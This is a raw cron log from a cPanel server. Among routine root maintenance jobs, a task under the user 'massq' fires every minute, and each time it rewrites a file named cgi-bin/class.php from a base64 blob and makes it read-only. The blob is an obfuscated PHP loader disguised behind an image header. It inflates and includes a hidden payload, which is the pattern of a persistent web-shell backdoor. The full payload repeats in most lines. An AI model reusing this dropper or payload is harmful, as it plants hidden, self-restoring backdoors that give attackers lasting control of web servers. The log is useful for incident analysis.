Nov 10 16:19:01 server CROND[6485]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:20:01 server CROND[7000]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 16:20:01 server CROND[7001]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 16:20:01 server CROND[7002]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 16:20:01 server CROND[7004]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 16:20:01 server CROND[7008]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:21:01 server CROND[7881]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:22:01 server CROND[8684]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:23:01 server CROND[9625]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:24:01 server CROND[10523]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:25:01 server CROND[11432]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 16:25:01 server CROND[11433]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 10 16:25:01 server CROND[11434]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 16:25:01 server CROND[11435]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:26:01 server CROND[12306]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:27:01 server CROND[13127]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 16:27:01 server CROND[13128]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:28:01 server CROND[13949]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:29:01 server CROND[14710]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:30:01 server CROND[15655]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 16:30:01 server CROND[15656]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 10 16:30:01 server CROND[15659]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 16:30:01 server CROND[15663]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 16:30:01 server CROND[15662]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:31:01 server CROND[16547]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
